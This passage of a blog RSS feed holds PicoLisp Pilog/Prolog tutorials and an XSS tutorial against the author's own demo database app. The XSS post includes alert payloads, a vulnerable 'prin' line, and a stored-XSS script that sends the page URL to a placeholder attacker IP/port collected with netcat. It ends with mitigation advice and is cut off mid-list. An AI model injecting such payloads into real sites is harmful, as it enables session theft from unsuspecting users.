&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (likes John Susie Pizza))
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So everything we haven't defined is simply &lt;code&gt;NIL&lt;/code&gt; (note that this is different to Prolog where we would receive errors for these cases).&lt;/p&gt;




&lt;p&gt;With this, we have already covered the basic Pilog syntax. In the next post we will see how the unification and proof search process actually works.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;friends.l&lt;/code&gt;  file can be found &lt;a href="https://gitlab.com/picolisp-blog/web-applications/-/blob/main/pilog/friends.l"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://software-lab.de/doc/ref.html#pilog"&gt;https://software-lab.de/doc/ref.html#pilog&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pageid=online"&gt;http://www.let.rug.nl/bos/lpn//lpnpage.php?pageid=online&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.cs.trincoll.edu/%7Eram/cpsc352/notes/prolog/factsrules.html"&gt;http://www.cs.trincoll.edu/~ram/cpsc352/notes/prolog/factsrules.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>picolisp</category>
      <category>lisp</category>
      <category>prolog</category>
      <category>pilog</category>
    </item>
    <item>
      <title>Learning Pilog - 1: A Short Introduction to Prolog</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Mon, 30 May 2022 14:10:36 +0000</pubDate>
      <link>https://dev.to/miatemma/learning-pilog-1-a-short-introduction-to-prolog-5c68</link>
      <guid>https://dev.to/miatemma/learning-pilog-1-a-short-introduction-to-prolog-5c68</guid>
      <description>&lt;p&gt;Before we actually start off with Pilog, I thnk it will be good to take a few minutes to talk about Prolog, which is the basis of Pilog.&lt;/p&gt;




&lt;h3&gt;
  
  
  A brief history of PROLOG
&lt;/h3&gt;

&lt;p&gt;The Prolog programming language appeared in 1972. It was developed and implemented in Marseille, France, by Alain Colmerauer and Philippe Roussel, in collaboration with Robert Kowalski of the University of Edinburgh. Even today two main dialects, one originating from Marseille, one from Ediburgh, exist.&lt;/p&gt;

&lt;p&gt;Prolog had a major role in the 1980's in the development of expert systems and artificial intelligence. In 1982, the Japanese government launched the &lt;a href="https://en.wikipedia.org/wiki/Fifth_generation_computer"&gt;Fifth Generation Computer Systems Initiative&lt;/a&gt;, aiming to lead the world in artificial intelligence and smart machines, and the chosen tool to meet this target was logic programming. As reaction to that, a similar European project called &lt;em&gt;Esprit&lt;/em&gt; was launched, both of them leading to an increased research and development into Prolog.&lt;/p&gt;




&lt;p&gt;Fun fact: Lisp was developed in the US, while Prolog was developed in Europe, and this lead to a kind of nationalistic preference for either of these languages in the field of artificial intelligence. Let's take the best from both worlds for Pilog!&lt;/p&gt;




&lt;p&gt;Still today, Prolog is the most important and popular logic programming language and used in research and education, although it is rarely seen in industrial applications. It has had significant influence on other languages such as Clojure and Erlang.&lt;/p&gt;

&lt;p&gt;Prolog is well-suited for specific tasks that benefit from rule-based logical queries such as searching databases, voice control systems, and filling templates. &lt;/p&gt;




&lt;h3&gt;
  
  
  How much Prolog is needed for Pilog?
&lt;/h3&gt;

&lt;p&gt;In order to understand Pilog, I went through the free online version of &lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pageid=top"&gt;Learn Prolog Now!&lt;/a&gt; as a reference for the next posts.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Learn Prolog Now!&lt;/strong&gt; course is structured in 12 chapters, of which we will pick the following 7 most important ones to understand Pilog:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Chapter 1 Facts, Rules, and Queries&lt;/li&gt;
&lt;li&gt;Chapter 2 Unification and Proof Search&lt;/li&gt;
&lt;li&gt;Chapter 3 Recursion&lt;/li&gt;
&lt;li&gt;Chapter 4 Lists&lt;/li&gt;
&lt;li&gt;Chapter 6 More Lists&lt;/li&gt;
&lt;li&gt;Chapter 10 Cuts and Negations.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Basically we will follow the content of these chapters, only that the syntax will be translated from Prolog to Pilog. &lt;/p&gt;




&lt;p&gt;This means that the following chapters will be &lt;strong&gt;skipped&lt;/strong&gt;. The main reason why we not need them is because we also have the possibility to call PicoLisp functions from within Pilog. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Chapter 5 Arithmetic&lt;/li&gt;
&lt;li&gt;Chapter 7 Definite Clause Grammars&lt;/li&gt;
&lt;li&gt;Chapter 8 More Definite Clause Grammars&lt;/li&gt;
&lt;li&gt;Chapter 9 A Closer Look at Terms&lt;/li&gt;
&lt;li&gt;Chapter 11 Database Manipulation and Collecting Solutions&lt;/li&gt;
&lt;li&gt;Chapter 12 Working With Files &lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Installing Pilog and Prolog
&lt;/h3&gt;

&lt;p&gt;Pilog comes with the standard pil21-distribution, there is &lt;strong&gt;no need for an additional installation&lt;/strong&gt;. If you are using an older version of PicoLisp (for example from the Ubuntu repository or similar), consider to update the newest one (&lt;a href="https://picolisp-blog.hashnode.dev/how-to-install-picolisp"&gt;instructions here&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;I also installed Prolog while I created the Pilog introductory posts. If you want to compare the Pilog syntax to Prolog or make some tests, I recommend to install Prolog on your system. There are two major implementations available: &lt;a href="http://swi-prolog.org/"&gt;SWI-Prolog&lt;/a&gt; and &lt;a href="https://sicstus.sics.se/"&gt;SICStus Prolog&lt;/a&gt;, which is commercial. So unless you want to pay 165€ per year, you should choose SWI-Prolog.&lt;/p&gt;

&lt;p&gt;On Linux systems, you can install it with the following commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ sudo apt-add-repository ppa:swi-prolog/stable
$ sudo apt-get update
$ sudo apt-get install swi-prolog
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or you can get it from the &lt;a href="https://github.com/SWI-Prolog/swipl"&gt;GIT repository&lt;/a&gt;. There are also stable releases for Windows and MacOSX, and a termux-binary for Android.&lt;/p&gt;




&lt;p&gt;In the next post, we will really start with Pilog and learn about the basic &lt;strong&gt;facts&lt;/strong&gt;, &lt;strong&gt;rules&lt;/strong&gt;, and &lt;strong&gt;queries&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pageid=online"&gt;http://www.let.rug.nl/bos/lpn//lpnpage.php?pageid=online&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://dev.to/donaldkellett/less-than-12-days-of-prolog---a-guide--brief-review-of-the-prolog-programming-language-1dgl"&gt;https://dev.to/donaldkellett/less-than-12-days-of-prolog---a-guide--brief-review-of-the-prolog-programming-language-1dgl&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>picolisp</category>
      <category>prolog</category>
      <category>functional</category>
      <category>logicalprogramming</category>
    </item>
    <item>
      <title>Logical Programming in PicoLisp: Learning Pilog!</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Wed, 25 May 2022 08:59:39 +0000</pubDate>
      <link>https://dev.to/miatemma/logical-programming-in-picolisp-learning-pilog-4289</link>
      <guid>https://dev.to/miatemma/logical-programming-in-picolisp-learning-pilog-4289</guid>
      <description>&lt;p&gt;Welcome to the &lt;strong&gt;"Programming in Pilog"&lt;/strong&gt; series! &lt;/p&gt;

&lt;p&gt;I guess it's quite likely that you have never heard of Pilog before. Short definition: By using Pilog, we can do &lt;strong&gt;logical programming&lt;/strong&gt; within PicoLisp.&lt;/p&gt;

&lt;p&gt;In this post, we will explain what logical programming actually is and where it is used within the PicoLisp world. &lt;/p&gt;




&lt;h3&gt;
  
  
  What is Pilog?
&lt;/h3&gt;

&lt;p&gt;Pilog is short for &lt;strong&gt;Pi&lt;/strong&gt;colisp Pro*&lt;em&gt;log&lt;/em&gt;&lt;em&gt;, and is a *Prolog engine for PicoLisp&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;As you might know, Prolog was the first logical programming language and is still one of the most important ones. Logical programming can be very powerful in certain application fields, for example for writing queries to a database. It enables us to use simple and expressive statements to perform complex tasks. &lt;/p&gt;

&lt;p&gt;First of all, let's try to understand where we can find &lt;strong&gt;logical programming&lt;/strong&gt; languages within the world of programming paradigms.&lt;/p&gt;




&lt;h3&gt;
  
  
  A quick overview over programming paradigms
&lt;/h3&gt;

&lt;p&gt;On the highest level, there are two types of programming paradigms, i. e. ways to classify a programming style. On the one side we have &lt;strong&gt;imperative&lt;/strong&gt; languages, and on the other side &lt;strong&gt;declarative&lt;/strong&gt; languages. From a very high-level classification, it could look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--M9VpcNTM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634984335737/ij45x2h_g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--M9VpcNTM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634984335737/ij45x2h_g.png" alt="paradigms.png" width="725" height="413"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note that most languages are not restricted to a single programming paradigm. However due to grammar and implementation, some are more suitable to write code in certain paradigms than in others.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;Generally, the philosophy of an imperative language is that the programmer tells the computer &lt;strong&gt;how&lt;/strong&gt; to accomplish a task, while a declarative language describes &lt;strong&gt;what&lt;/strong&gt; should be accomplished. &lt;/p&gt;

&lt;p&gt;Most modern programming language (like C, Java, Python) are based on imperative paradigms. The imperative approach is easier to learn because it is closer to what is happening inside the computer, and because you have a step-by-step way to describe a problem.&lt;/p&gt;

&lt;p&gt;The downside is that it often takes much more steps to solve a task - compare the PicoLisp solution of the &lt;a href="http://rosettacode.org/wiki/Knapsack_problem/Unbounded#PicoLisp"&gt;Knapsack Problem&lt;/a&gt; to the Java one! &lt;/p&gt;

&lt;p&gt;The increased verbosity can make the code harder to read, scale and maintain.&lt;/p&gt;




&lt;h3&gt;
  
  
  The Declarative Programming Paradigm
&lt;/h3&gt;

&lt;p&gt;On the other side, we have &lt;strong&gt;declarative programming&lt;/strong&gt; with its two main branches: &lt;strong&gt;Functional&lt;/strong&gt; programming and &lt;strong&gt;logical&lt;/strong&gt; programming.&lt;/p&gt;

&lt;p&gt;As this blog is called "Functional Programming in PicoLisp", you should have noticed by now that PicoLisp is well suited to write functional code, although also imperative paradigms like object-orientation are supported. &lt;/p&gt;

&lt;p&gt;Unfortunately we didn't bring a clear definition about what functional programming actually &lt;em&gt;is&lt;/em&gt; yet. Clearly it's centered around functions, but you can do more with it than just calculations in a mathematical sense. This is certainly worth its own post and I'm working on it! As a short working definition, let's stick with &lt;a href="https://lispcast.com/"&gt;Eric Normand from Lispcast.com&lt;/a&gt;: &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Functional programming is a programming style that makes a clear distinction between &lt;strong&gt;actions&lt;/strong&gt;, &lt;strong&gt;calculations&lt;/strong&gt; and &lt;strong&gt;data&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;(If this does not convince you, I recommend to check out his podcast &lt;a href="https://podtail.com/de/podcast/thoughts-on-functional-programming-podcast-by-eric/"&gt;"Thoughts on functional programming"&lt;/a&gt; or wait for my blogpost on that topic 😋).&lt;/p&gt;




&lt;h3&gt;
  
  
  Logical Programming
&lt;/h3&gt;

&lt;p&gt;Now let's take a look at the other main branch of declarative programming: &lt;strong&gt;Logical Programming&lt;/strong&gt;. As the name already tells us, it is a paradigm that is based on formal logic, with its first and still most important representative &lt;strong&gt;Prolog&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;The main idea behind logical programming is to feed a set of things you &lt;em&gt;know&lt;/em&gt; to your system (the "Knowledge Base"), and then to test any hypothesis based on that knowledge base. &lt;/p&gt;

&lt;p&gt;Internally, this is accomplished by backtracking strategies (recursion). On the other hand, familiar things that we know from imperative programming won't work in Prolog, like for example loops. This means basically that it requires a &lt;strong&gt;completely different mindset to write a Prolog program&lt;/strong&gt; than to write, say, a Java Script program.&lt;/p&gt;




&lt;p&gt;If you already know Prolog, Pilog will be easy for you - it is basically the same language, it just looks a little different. However, besides to what Prolog can offer, we can also call &lt;strong&gt;PicoLisp functions&lt;/strong&gt; from &lt;em&gt;within&lt;/em&gt; Pilog, which can be very useful.&lt;/p&gt;

&lt;p&gt;If you don't know Prolog yet, this series will be very interesting for you. Logial programming is really a completely new thing and requires a different kind of thinking. I think it's fun!&lt;/p&gt;




&lt;h3&gt;
  
  
  Next steps
&lt;/h3&gt;

&lt;p&gt;First of all, we will take a quick (historical) look into Prolog, as it is the inspiration for Pilog. Then we will first cover the basic syntax and concepts of Pilog. After that we will show how to use it within PicoLisp, for example to solve classical logical algorithms (like the "Zebra riddle"), and for database queries.&lt;/p&gt;




&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.ionos.com/digitalguide/websites/web-development/imperative-programming/"&gt;https://www.ionos.com/digitalguide/websites/web-development/imperative-programming/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Icons made by &lt;a href="https://www.flaticon.com/authors/becris" title="Becris"&gt;Becris&lt;/a&gt; from &lt;a href="https://www.flaticon.com/" title="Flaticon"&gt;&lt;/a&gt;&lt;a href="http://www.flaticon.com"&gt;www.flaticon.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>prolog</category>
      <category>picolisp</category>
      <category>logical</category>
      <category>functional</category>
    </item>
    <item>
      <title>How to hack the PicoLisp Database (and how to prevent it!) - An Introduction to XSS Attacks</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Fri, 13 May 2022 14:32:59 +0000</pubDate>
      <link>https://dev.to/miatemma/how-to-hack-the-picolisp-database-and-how-to-prevent-it-an-introduction-to-xss-attacks-2c0h</link>
      <guid>https://dev.to/miatemma/how-to-hack-the-picolisp-database-and-how-to-prevent-it-an-introduction-to-xss-attacks-2c0h</guid>
      <description>&lt;p&gt;Today we will discuss some basic security aspects of database user interfaces. The principles are not at all restricted to PicoLisp, it's a general (and quite wide-spread) vulnerability: Cross-Site Scripting.&lt;/p&gt;




&lt;h3&gt;
  
  
  What are Cross-Site Scripting attacks?
&lt;/h3&gt;

&lt;p&gt;Cross-Site Scripting (XSS) attacks are a type of injection in which malicious script can be injected. XSS vulnerabilities take advantage of a flaw in user input sanitization to "write" JavaScript code to the page and execute it on the client side, leading to several types of attacks.&lt;/p&gt;

&lt;p&gt;XSS vulnerabilities can facilitate a wide range of attacks, which can be anything that can be executed through browser JavaScript code. A basic example of an XSS attack is having the target user unwillingly send their session cookie to the attacker's web server. Another example is having the target's browser execute API calls that lead to a malicious action, like changing the user's password to a password of the attacker's choosing. There are many other types of XSS attacks, from Bitcoin mining to displaying ads.&lt;/p&gt;

&lt;p&gt;XSS vulnerabilities are one of the most common flaws in web applications - &lt;a href="https://owasp.org/Top10/"&gt;Top 3 according to the Open Web Application Security Project (OWASP)&lt;/a&gt; after "Broken Access Control" and "Cryptographic Failures".&lt;/p&gt;




&lt;h3&gt;
  
  
  An example
&lt;/h3&gt;

&lt;p&gt;Instead of theory, let's start with an example. Actually we have introduced a great example for XSS vulnerability in the post &lt;a href="https://picolisp-blog.hashnode.dev/web-application-programming-in-picolisp-creating-html-forms-part-2"&gt;"Creating HTML Forms 2"&lt;/a&gt;. (Did you notice?)&lt;/p&gt;

&lt;p&gt;If you check the source code, this is basically what we do: We save the user input in two global variables &lt;code&gt;*FirstName&lt;/code&gt; and &lt;code&gt;*LastName&lt;/code&gt; and output it via &lt;code&gt;prinl&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(prinl "Hello, " *FirstName " " *LastName "!")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;prinl&lt;/code&gt; takes any kind of expression without modifications. Let's see what that means!&lt;/p&gt;




&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zibI0X4U--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634626313461/EpGSkvjpi.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zibI0X4U--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634626313461/EpGSkvjpi.gif" alt="youvebeenhacked.gif" width="880" height="465"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;You can try it yourself &lt;a href="http://picolisp.com/blog/src/stateful-post.l"&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The program expects a name as input. But what if we write a JavaScript expression? It will be executed! Let's check the HTML source code to understand what's happening (&lt;code&gt;Ctrl-U&lt;/code&gt; in Firefox). &lt;/p&gt;

&lt;p&gt;On the input field side, all special characters are replaced: the input is &lt;em&gt;sanitized&lt;/em&gt;. The browser will not execute this as JavaScript.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;input type="text" name="*FirstName" value="&amp;amp;lt;script&amp;amp;gt;alert(&amp;amp;quot;You've been hacked!&amp;amp;quot;)&amp;amp;lt;/script&amp;amp;gt;" size="30" onchange="return fldChg(this)" class="field"/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, the &lt;code&gt;&amp;lt;h3&amp;gt;&lt;/code&gt; tag below is not:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;h3 class="d-flex m-1 justify-content-center"&amp;gt;Hello, &amp;lt;script&amp;gt;alert("You've been hacked!")&amp;lt;/script&amp;gt; B!&amp;lt;/h3&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If JavaScript is enabled in the browser, this will enable the user to execute any types of JavaScript commands.&lt;/p&gt;




&lt;p&gt;In this case in the example, the JavaScript is only executed in the attacker's browser. The malicious input is not saved on the backend side. This is called a &lt;strong&gt;reflected, non-persistent XSS&lt;/strong&gt;.  &lt;/p&gt;

&lt;p&gt;In the example above, there is not much harm the attacker can do, because the execution of JavaScript commands are limited to the browser, and what's the point in hacking your own machine anyway?&lt;/p&gt;

&lt;p&gt;So let's now take a look at a dangerous one: stored XSS attacks.&lt;/p&gt;




&lt;h3&gt;
  
  
  Stored XSS Attacks
&lt;/h3&gt;

&lt;p&gt;An XSS-Attack is called &lt;strong&gt;stored&lt;/strong&gt; if the input is saved somewhere in the backend, for example in the database. In this case not only the attacker, but &lt;strong&gt;everyone viewing the page&lt;/strong&gt; is potentially affected. In order to make that possible, two vulnerabilities must occur at the same time:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The input data is directly written into the database without checks, and&lt;/li&gt;
&lt;li&gt;The input data is directly evaluated in the code.&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;Let's take a look at the following, &lt;strong&gt;vulnerable&lt;/strong&gt; version of our &lt;code&gt;family-edit.l&lt;/code&gt; program. It is identical to the previous line except for one additional line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(&amp;lt;p&amp;gt; NIL (prin (get *ID 'job) ", born " (datStr(get *ID 'dat))))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The programmer wanted to create a subtitle that prints the occupation and birthday of the record. In rendered form, it looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--OFCxSm5k--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634627681449/kk7sqsSeB4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--OFCxSm5k--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634627681449/kk7sqsSeB4.png" alt="subtitle.png" width="731" height="194"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately, with this line he or she introduced a serious vulnerability. Let's see what kind of fun an attacker can have with this.&lt;/p&gt;




&lt;p&gt;You can download the vulnerable program &lt;a href="https://gitlab.com/picolisp-blog/web-applications/-/blob/main/database/family-vulnerable.l"&gt;here&lt;/a&gt;. The database is expected in the folder &lt;code&gt;family-vulnerable/&lt;/code&gt;, I recommend to download the &lt;a href="https://gitlab.com/picolisp-blog/web-applications/-/tree/main/database/family"&gt;&lt;code&gt;family/&lt;/code&gt; database&lt;/a&gt; and copy it in a new folder, so that the original one doesn't get corrupted.&lt;/p&gt;




&lt;h3&gt;
  
  
  Proof of Concept
&lt;/h3&gt;

&lt;p&gt;Let's repeat the same steps as before and try to replace the "Occupation" field by some JavaScript. It works!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mUJWHinS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634628109248/QVouLNsQ_.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mUJWHinS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634628109248/QVouLNsQ_.gif" alt="queenhack.gif" width="880" height="486"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Differently to before, every user who is now accesing the database will see &lt;strong&gt;You've been hacked&lt;/strong&gt; instead of the user record first. This alone can already be a problem, but there are even worse things that an attacker can do with that. &lt;/p&gt;




&lt;h3&gt;
  
  
  Corrupting the date field
&lt;/h3&gt;

&lt;p&gt;But before we get into that, let's try the same with our date string. When we try the same steps as before, we see that we cannot change it - the submission is blocked with the notification "Bad date format". &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ERBCSLM0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634628270891/m79pkzNJz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ERBCSLM0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634628270891/m79pkzNJz.png" alt="baddateformat.png" width="830" height="282"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;Does that mean we're safe? Maybe not, because the check is only on front-end side. Let's try to catch the POST request and modify it before sending it to the server. &lt;/p&gt;

&lt;p&gt;I have opened a virtual Kali Linux machine on my system to access the web app on the host system. Using &lt;a href="https://portswigger.net/burp"&gt;&lt;em&gt;Burp Suite&lt;/em&gt;&lt;/a&gt; as proxy, let's see what our app is sending. Let's modify the date and catch the request in our proxy.  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0G3VrwVm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634629045296/ctto67tVP.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0G3VrwVm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634629045296/ctto67tVP.png" alt="catch2.png" width="742" height="802"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we modify this value to &lt;code&gt;&amp;lt;script&amp;gt;alert("You've been hacked!")&amp;lt;/script&amp;gt;&lt;/code&gt; before we forward it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4N6omoi0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634629196513/L2RgYiHOo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4N6omoi0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634629196513/L2RgYiHOo.png" alt="hacked.png" width="520" height="99"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;However, when we try to send it, we get a "server connect failure".  Why? Maybe the interpreter threw an error because this evaluation was not possible anymore:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(datStr(get *ID 'dat))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we could try to inject &lt;code&gt;"1926-04-23" ) "hello world"&lt;/code&gt;. This should render to something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(datStr "1926-04-23" ) "hello world"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Unfortunately (or rather luckily), this also fails, because date is transformed to a timestamp in the backend, which fails if we send anything except data strings. Similarly, comments, &lt;code&gt;NIL&lt;/code&gt; and empty strings are rejected.&lt;/p&gt;

&lt;p&gt;So I assume the &lt;code&gt;date&lt;/code&gt; fields cannot be injected so easily since the date conversion is acting as data sanitizer.&lt;/p&gt;




&lt;h3&gt;
  
  
  Exploiting the &lt;code&gt;Occupation&lt;/code&gt; vulnerability
&lt;/h3&gt;

&lt;p&gt;Nevertheless, we still have the &lt;code&gt;job&lt;/code&gt; property where we can execute our malicious scripts. For example, we could try to get the session ID of anybody who is opening the database. In order to get these, we need the application to connect back to us. &lt;/p&gt;

&lt;p&gt;Instead of adding a simple alert, let's do this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script type="text/javascript"&amp;gt;new Image().src="http://&amp;lt;ATTACKER_IP&amp;gt;:&amp;lt;ATTACKER_PORT&amp;gt;/?url="+window.location.href;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Replace &lt;code&gt;Attacker_IP&lt;/code&gt; by your own (local) IP.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Then we open a port on the attacking system (for example with &lt;a href="https://en.wikipedia.org/wiki/Netcat"&gt;netcat&lt;/a&gt;) As soon as the victim opens the corrupted database, the page tries to load a "picture" from the attacker's computer. Of course it fails because there is no such picture, but from the request, the attacker can get the complete session URL, and if available, also the session authentication cookies.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hFoUtwfp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634632397693/Y-Ik-M3aF.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hFoUtwfp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634632397693/Y-Ik-M3aF.png" alt="sessionidreceived.png" width="880" height="171"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In other words, the attacker can now use the session of another user! This could be a big problem, right? Let's assume the administrator has logged in, and we can steal session URL and cookies (if available) from that person. This means that the attacker could execute commands with administrator rights, for example download the whole database, or even take over the control over the server!&lt;/p&gt;




&lt;h3&gt;
  
  
  What do we learn from that?
&lt;/h3&gt;

&lt;p&gt;XSS attacks can be dangerous, especially in combination with a storage mechanism on the backend side. As you can see, the attacker doesn't even have to know anything about PicoLisp, and this kind of attack is also very easy to automate, so the probability is quite high that it will be discovered.&lt;/p&gt;

&lt;p&gt;What can we do to prevent it?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Try to use standard framework components where possible. For example, the GUI elements of the PicoLisp GUI frameworks are safe to use since they remove special characters before displaying.&lt;/li&gt;
&lt;li&gt;Always specify and filter the user input, don't commit anything unchecked into the database. Sanitize the data if possible.&lt;/li&gt;
&lt;li&gt;Never directly evaluate user input data (for example: use &lt;code&gt;ht:Prin&lt;/code&gt; instead of &lt;code&gt;prin&lt;/code&gt; if the content is not known beforehand).&lt;/li&gt;
